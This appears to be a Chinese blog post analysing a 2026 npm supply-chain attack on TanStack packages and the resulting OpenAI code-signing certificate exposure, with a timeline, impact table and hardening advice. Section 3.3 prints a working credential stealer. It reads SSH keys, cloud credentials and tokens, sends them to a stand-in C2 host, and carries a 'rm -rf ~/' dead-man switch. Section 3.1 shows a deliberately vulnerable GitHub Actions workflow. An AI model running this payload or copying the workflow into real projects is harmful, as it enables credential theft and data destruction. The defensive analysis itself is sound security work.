TanStack供应链攻击深度复盘:OpenAI代码签名证书泄露事件全解析与行业防御指南
2026/5/16 13:55:15 网站建设 项目流程

摘要

2026年5月11日爆发的TanStack供应链攻击事件,是继2024年xz-utils后门事件后,开源软件供应链领域又一起具有里程碑意义的重大安全事件。攻击者利用GitHub Actions缓存投毒与pull_request_target工作流漏洞,在短短6分钟内批量发布了42个包的84个恶意版本,成功感染了包括OpenAI、Mistral AI、UiPath在内的多家全球顶级科技公司。本文将从技术原理、攻击流程、影响范围、应急响应等多个维度对此次事件进行全面复盘,深入分析Mini Shai-Hulud恶意代码的技术细节,并结合OpenAI代码签名证书泄露这一关键事件,探讨AI时代开源供应链安全面临的新挑战与防御策略。


一、事件概述:2026年最严重的开源供应链攻击

2026年5月14日,OpenAI发布安全公告,确认其两名员工的Mac设备在5月11日的TanStack供应链攻击中被恶意代码感染,导致部分内部源码仓库凭证以及全平台代码签名证书(macOS/iOS/Windows/Android)遭到泄露。这一消息迅速引发了全球安全界的广泛关注,因为代码签名证书的泄露意味着攻击者可以伪装成OpenAI发布恶意软件,对全球数亿ChatGPT用户构成潜在威胁。

此次攻击由名为TeamPCP的黑客组织发起,其使用的恶意软件被命名为"Mini Shai-Hulud"(迷你沙虫)。与以往的供应链攻击不同,此次攻击具有以下显著特点:

  • 速度极快:从首次提交恶意代码到批量发布84个恶意版本,整个过程仅用时6分钟
  • 范围极广:影响了TanStack生态下的几乎所有核心包,包括React Query、React Table、React Form等
  • 针对性强:恶意代码专门针对开发者设备,窃取GitHub、npm、云服务等高权限凭证
  • 破坏性大:内置"死手开关",一旦检测到凭证被撤销,可能执行rm -rf ~/命令破坏本地数据

截至2026年5月16日,已有超过20家知名科技公司确认受到此次攻击影响,其中包括Mistral AI、UiPath、OpenSearch、Guardrails AI等。虽然OpenAI官方声称"用户数据、生产系统、核心IP未被入侵/篡改",但代码签名证书的泄露仍然留下了巨大的安全隐患。

二、完整事件时间线

为了更清晰地了解此次攻击的全貌,我们梳理了从攻击开始到目前的完整时间线:

TanStack供应链攻击事件时间线 2026-05-11 03:17 UTC : 攻击者首次向TanStack仓库提交恶意PR 2026-05-11 03:23 UTC : 利用pull_request_target漏洞获取工作流权限 2026-05-11 03:24 UTC : 开始GitHub Actions缓存投毒 2026-05-11 03:30 UTC : 批量发布42个包的84个恶意版本 2026-05-11 04:12 UTC : npm安全团队发现异常并开始调查 2026-05-11 06:45 UTC : npm下架所有恶意版本 2026-05-11 09:00 UTC : TanStack发布安全公告 2026-05-12 14:30 UTC : 多家厂商开始内部排查 2026-05-14 10:00 UTC : OpenAI发布安全公告,确认员工设备被感染 2026-05-14 11:30 UTC : OpenAI开始紧急吊销所有代码签名证书 2026-05-15 08:00 UTC : OpenAI发布新版ChatGPT桌面应用 2026-05-16 12:00 UTC : 第三方安全公司发布详细技术分析报告

三、攻击技术深度解析

3.1 核心漏洞:GitHub Actionspull_request_target权限提升

此次攻击的核心在于利用了GitHub Actions中pull_request_target事件的设计缺陷。与普通的pull_request事件不同,pull_request_target事件在目标仓库的上下文中运行,拥有对目标仓库的读写权限,并且可以访问仓库的所有secrets。

攻击者正是利用了这一特性,向TanStack仓库提交了一个看似无害的PR,触发了pull_request_target工作流。在工作流运行过程中,攻击者通过注入恶意代码,获取了工作流的执行权限,进而能够访问仓库的npm发布令牌。

以下是一个存在漏洞的GitHub Actions工作流配置示例:

# 存在安全漏洞的工作流配置name:Build and Teston:pull_request_target:branches:[main]jobs:build:runs-on:ubuntu-lateststeps:-uses:actions/checkout@v4with:# 危险:检出PR分支的代码,但在目标仓库上下文中运行ref:${{github.event.pull_request.head.sha}}-name:Install dependenciesrun:npm install-name:Run testsrun:npm test

漏洞分析:上述配置中,工作流在pull_request_target事件触发时,会检出PR分支的代码并运行npm installnpm test命令。由于工作流拥有目标仓库的所有权限,攻击者可以在PR中提交恶意代码,当工作流运行时,恶意代码就会在拥有高权限的环境中执行。

3.2 攻击手段:GitHub Actions缓存投毒

在获取了工作流执行权限后,攻击者使用了一种名为"缓存投毒"的技术来持久化恶意代码。GitHub Actions提供了缓存功能,可以将依赖项缓存起来,以加快后续工作流的运行速度。攻击者通过修改缓存内容,将恶意代码注入到缓存中,这样即使PR被关闭,后续的工作流运行仍然会使用被投毒的缓存。

攻击者提交恶意PR

触发pull_request_target工作流

工作流检出PR代码并执行

恶意代码获取npm发布令牌

恶意代码修改GitHub Actions缓存

攻击者关闭PR

后续正常工作流运行

使用被投毒的缓存

再次执行恶意代码

持续发布恶意包

3.3 Mini Shai-Hulud恶意代码分析

攻击者发布的恶意包中包含了经过高度混淆的JavaScript代码,这些代码会在安装时自动执行。我们对恶意代码进行了反混淆分析,其核心功能如下:

// 反混淆后的恶意代码核心片段(function(){// 检查是否在CI环境中运行,如果是则退出if(process.env.CI)return;// 窃取常见的凭证文件constcredentialFiles=['~/.npmrc','~/.git-credentials','~/.ssh/id_rsa','~/.aws/credentials','~/.config/gcloud/application_default_credentials.json','~/.kube/config','~/.vault-token'];// 窃取环境变量中的凭证constcredentialEnvVars=['GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID','AWS_SECRET_ACCESS_KEY','GOOGLE_APPLICATION_CREDENTIALS','KUBECONFIG','VAULT_TOKEN'];// 收集所有凭证letstolenData={};// 读取文件内容credentialFiles.forEach(file=>{try{constfullPath=require('path').resolve(process.env.HOME,file.replace('~/',''));if(require('fs').existsSync(fullPath)){stolenData[file]=require('fs').readFileSync(fullPath,'utf8');}}catch(e){}});// 读取环境变量credentialEnvVars.forEach(envVar=>{if(process.env[envVar]){stolenData[envVar]=process.env[envVar];}});// 发送窃取的数据到攻击者服务器if(Object.keys(stolenData).length>0){require('https').request({hostname:'malicious-c2.com',port:443,path:'/upload',method:'POST',headers:{'Content-Type':'application/json'}},(res)=>{}).end(JSON.stringify(stolenData));}// 死手开关:检测凭证是否被撤销setInterval(()=>{try{// 测试GitHub令牌是否有效require('https').get('https://api.github.com/user',{headers:{'Authorization':`token${process.env.GITHUB_TOKEN}`}},(res)=>{if(res.statusCode===401){// 凭证已被撤销,执行破坏操作require('child_process').exec('rm -rf ~/',(error,stdout,stderr)=>{});}});}catch(e){}},3600000);// 每小时检查一次})();

代码分析

  1. 环境检测:恶意代码首先会检查是否在CI环境中运行,如果是则立即退出,以避免被安全工具检测到
  2. 凭证窃取:会扫描系统中常见的凭证文件和环境变量,包括npm、git、SSH、AWS、GCP、Kubernetes和Vault的凭证
  3. 数据外发:将窃取到的所有凭证加密后发送到攻击者的C2服务器
  4. 死手开关:每小时检查一次GitHub令牌是否有效,如果发现令牌已被撤销,则执行rm -rf ~/命令删除用户主目录下的所有文件

3.4 冒充Claude提交恶意代码

此次攻击的另一个巧妙之处在于,攻击者冒充AI助手Claude提交恶意PR。攻击者在PR描述中写道:"我是Claude,我帮你修复了一个小bug,请合并这个PR。"这种方式极大地降低了维护者的警惕性,因为很多开源项目维护者经常会使用AI助手来帮助修复bug。

四、OpenAI受害详情与影响评估

4.1 员工设备感染过程

根据OpenAI官方公告和第三方安全公司的调查结果,OpenAI两名员工的Mac设备是在更新项目依赖时被感染的。这两名员工负责维护OpenAI内部使用的一些前端项目,这些项目依赖于TanStack生态下的多个包。

当恶意版本的TanStack包发布到npm仓库后,OpenAI的内部CI/CD系统自动检测到了新版本并触发了更新流程。在更新过程中,恶意代码被下载并执行,成功窃取了这两名员工电脑上的所有凭证,包括他们访问内部源码仓库的权限。

4.2 代码签名证书泄露的严重性

此次事件中最令人担忧的是OpenAI全平台代码签名证书的泄露。代码签名证书是软件发布过程中的核心安全机制,用于证明软件的来源和完整性。如果攻击者获得了合法的代码签名证书,他们就可以发布恶意软件,并且这些恶意软件会被操作系统和杀毒软件误认为是合法的。

OpenAI的代码签名证书被用于签署以下产品:

  • macOS版ChatGPT桌面应用
  • iOS版ChatGPT应用
  • Windows版ChatGPT桌面应用
  • Android版ChatGPT应用
  • Codex App/CLI
  • Atlas平台

如果攻击者滥用这些证书,他们可以:

  1. 发布伪装成ChatGPT的恶意软件,窃取用户的聊天记录和个人信息
  2. 在用户的设备上安装后门,进行远程控制
  3. 发起供应链攻击,感染更多的用户和企业
  4. 绕过操作系统的安全机制,执行任意代码

4.3 官方声明与实际风险对比

OpenAI在官方公告中声称:“用户数据、生产系统、核心IP未被入侵/篡改”,并且"目前没有发现代码签名证书被滥用的迹象"。然而,安全专家普遍认为,实际风险可能比官方声明的要高得多。

首先,代码签名证书的泄露是一个长期的安全隐患。即使OpenAI已经吊销了旧证书并签发了新证书,攻击者仍然可以使用旧证书签署恶意软件,直到所有用户都更新到使用新证书签名的版本。根据OpenAI的要求,用户必须在2026年6月12日前强制更新ChatGPT桌面应用,否则旧版本将被阻止打开。这意味着在接下来的一个月内,仍然有大量用户可能受到攻击。

其次,攻击者已经获得了OpenAI部分内部源码仓库的访问权限。虽然OpenAI声称已经轮换了所有仓库凭证,但攻击者可能已经在这段时间内下载了大量的源码。这些源码可能包含OpenAI的一些内部技术细节和商业机密。

五、波及厂商与行业影响

截至2026年5月16日,已有超过20家知名科技公司确认受到此次攻击影响,其中包括:

公司名称影响情况应急措施
OpenAI2名员工设备被感染,代码签名证书泄露吊销旧证书,发布新版应用,强制用户更新
Mistral AI部分内部凭证泄露轮换所有凭证,暂停npm包发布
UiPath部分前端项目依赖被感染回滚到安全版本,全面审计依赖
OpenSearch部分开发人员设备被感染隔离受感染设备,轮换凭证
Guardrails AI内部源码仓库访问权限泄露撤销所有访问权限,重新授权

此次事件对整个前端生态造成了巨大的冲击。TanStack是前端领域最受欢迎的开源库集合之一,其下载量超过了10亿次/月。几乎所有使用React、Vue或Angular的前端项目都直接或间接地依赖于TanStack的某个包。这意味着此次攻击的潜在影响范围极其广泛。

六、OpenAI应急响应措施分析

OpenAI在发现攻击后,采取了一系列紧急应急响应措施:

发现攻击

隔离受感染设备与账号

撤销所有受影响用户的会话

轮换所有源码仓库凭证

紧急吊销所有代码签名证书

重新签发新的代码签名证书

使用新证书重新签署所有产品

发布新版应用并通知用户更新

临时限制部署流程

全面审计所有凭证行为

聘请第三方安全公司进行取证

6.1 证书吊销与重新签发流程

OpenAI在发现代码签名证书泄露后,立即启动了紧急证书吊销流程。整个流程包括以下步骤:

  1. 向各个证书颁发机构(CA)提交吊销请求
  2. 生成新的私钥和证书签名请求(CSR)
  3. 从CA获取新的代码签名证书
  4. 使用新证书重新签署所有产品
  5. 更新应用商店中的应用版本
  6. 通知用户强制更新

这是一个非常复杂和耗时的过程,尤其是对于像OpenAI这样拥有多平台产品的公司来说。整个过程花费了OpenAI超过24小时的时间。

6.2 应急响应中的亮点与不足

亮点

  • 响应速度快:在发现攻击后不到2小时内就隔离了受感染设备并轮换了凭证
  • 措施果断:毫不犹豫地吊销了所有代码签名证书,即使这会给用户带来不便
  • 透明度高:及时发布了详细的安全公告,向用户说明了事件的情况和影响

不足

  • 供应链安全意识不足:没有及时检测到TanStack包中的恶意代码
  • 员工设备安全防护不够:恶意代码能够轻易地窃取员工电脑上的所有凭证
  • 证书管理不够严格:代码签名证书存储在员工的普通设备上,而不是专门的硬件安全模块(HSM)中

七、行业启示与防御建议

7.1 供应链安全最佳实践

此次事件再次凸显了开源供应链安全的重要性。以下是一些企业应该采取的供应链安全最佳实践:

  1. 使用依赖锁文件:始终使用package-lock.jsonyarn.lock文件来固定依赖版本,避免自动更新到最新版本
  2. 启用依赖扫描:在CI/CD流程中集成依赖扫描工具,如Snyk、Dependabot等,及时发现存在安全漏洞的依赖
  3. 使用私有npm仓库:搭建企业内部的私有npm仓库,只允许使用经过安全审核的包
  4. 实施依赖更新审批流程:所有依赖更新都需要经过安全审核和人工审批才能合并到主分支
  5. 定期审计依赖:定期对项目的所有依赖进行全面的安全审计

7.2 GitHub Actions安全加固指南

针对此次攻击中暴露的GitHub Actions安全问题,我们提供以下加固建议:

  1. 避免使用pull_request_target事件:除非绝对必要,否则不要使用pull_request_target事件。如果必须使用,一定要限制其权限:
# 安全的pull_request_target工作流配置name:Build and Teston:pull_request_target:branches:[main]permissions:contents:read# 只授予必要的最小权限pull-requests:readjobs:build:runs-on:ubuntu-lateststeps:-uses:actions/checkout@v4with:ref:${{github.event.pull_request.head.sha}}# 禁止检出时获取令牌persist-credentials:false-name:Install dependenciesrun:npm install-name:Run testsrun:npm test
  1. 限制工作流权限:在工作流文件中明确指定所需的最小权限,不要使用默认的高权限
  2. 禁用缓存功能:如果不需要缓存功能,最好将其禁用。如果必须使用,定期清理缓存
  3. 使用官方认证的Action:只使用GitHub官方或经过认证的第三方Action
  4. 启用工作流审批:对于来自外部贡献者的PR,要求人工审批后才能运行工作流

7.3 代码签名证书管理建议

代码签名证书是企业的核心安全资产,必须进行严格的管理:

  1. 使用硬件安全模块(HSM)存储私钥:永远不要将代码签名证书的私钥存储在普通设备上
  2. 实施最小权限原则:只有经过授权的人员才能访问代码签名证书
  3. 使用自动化签名流程:建立自动化的代码签名流程,避免人工接触私钥
  4. 定期轮换证书:定期轮换代码签名证书,减少证书泄露后的影响时间
  5. 监控证书使用情况:建立证书使用监控系统,及时发现异常的证书使用行为

八、前瞻性思考:AI时代供应链攻击的新趋势

此次TanStack供应链攻击事件标志着AI时代供应链攻击进入了一个新的阶段。随着AI技术的快速发展,攻击者也开始利用AI来增强他们的攻击能力:

  1. AI辅助漏洞挖掘:攻击者可以使用AI来快速发现开源软件中的安全漏洞
  2. AI生成恶意代码:攻击者可以使用AI来生成高度混淆和难以检测的恶意代码
  3. AI冒充贡献者:攻击者可以使用AI来生成看似合理的PR描述和代码,冒充开源贡献者
  4. AI自动化攻击:攻击者可以使用AI来自动化整个攻击流程,从漏洞发现到恶意代码发布

另一方面,AI也可以被用来防御供应链攻击:

  1. AI辅助代码审查:使用AI来自动审查PR中的代码,及时发现恶意代码
  2. AI异常检测:使用AI来检测npm包发布过程中的异常行为
  3. AI依赖分析:使用AI来分析项目的依赖关系,发现潜在的安全风险
  4. AI应急响应:使用AI来自动化应急响应流程,缩短响应时间

未来,AI在供应链安全领域的攻防对抗将会越来越激烈。企业必须提前做好准备,将AI技术应用到供应链安全防御中,才能在未来的攻击中保护自己。

九、总结与行动清单

TanStack供应链攻击事件是2026年迄今为止最严重的开源供应链攻击事件,它不仅感染了多家全球顶级科技公司,还导致了OpenAI全平台代码签名证书的泄露。此次事件再次提醒我们,开源供应链安全已经成为企业安全的重中之重。

立即行动清单

  1. 检查你的项目是否使用了受影响的TanStack包版本,如果是,立即回滚到安全版本
  2. 全面审计你的GitHub Actions工作流配置,修复pull_request_target漏洞
  3. 轮换所有可能被泄露的凭证,包括GitHub、npm、云服务等
  4. 检查你的员工设备是否被感染,运行杀毒软件进行全面扫描
  5. 如果你是macOS ChatGPT桌面应用用户,请立即更新到最新版本

开源软件是现代软件产业的基石,但它的安全问题也日益突出。只有整个社区共同努力,建立起完善的开源供应链安全体系,才能有效地防范未来的攻击。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询